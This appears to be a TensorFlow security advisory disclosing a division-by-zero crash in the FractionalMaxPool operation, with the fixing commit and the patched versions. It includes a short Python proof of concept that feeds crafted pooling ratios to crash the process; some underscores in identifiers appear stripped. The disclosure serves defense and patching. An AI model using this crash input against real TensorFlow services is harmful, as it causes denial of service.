Impact
The [implementation of
FractionalMaxPool](https://github.com/tensorflow/tensorflow/blob/5100e359aef5c8021f2e71c7b986420b85ce7b3d/tensorflow/core/kernels/fractional max pool op.cc#L36-L192) can be made to crash a TensorFlow process via a division by 0:python
import tensorflow as tf
import numpy as np
tf.raw ops.FractionalMaxPool(
value=tf.constant(value=[[[[1, 4, 2, 3]]]], dtype=tf.int64),
pooling ratio=[1.0, 1.44, 1.73, 1.0],
pseudo random=False,
overlapping=False,
deterministic=False,
seed=0,
seed2=0,
name=None)Patches
We have patched the issue in GitHub commit ba4e8ac4dc2991e350d5cc407f8598c8d4ee70fb.
The fix will be included in TensorFlow 2.8.0. We will also cherrypick this commit on TensorFlow 2.7.1, TensorFlow 2.6.3, and TensorFlow 2.5.3, as these are also affected and still in supported range.
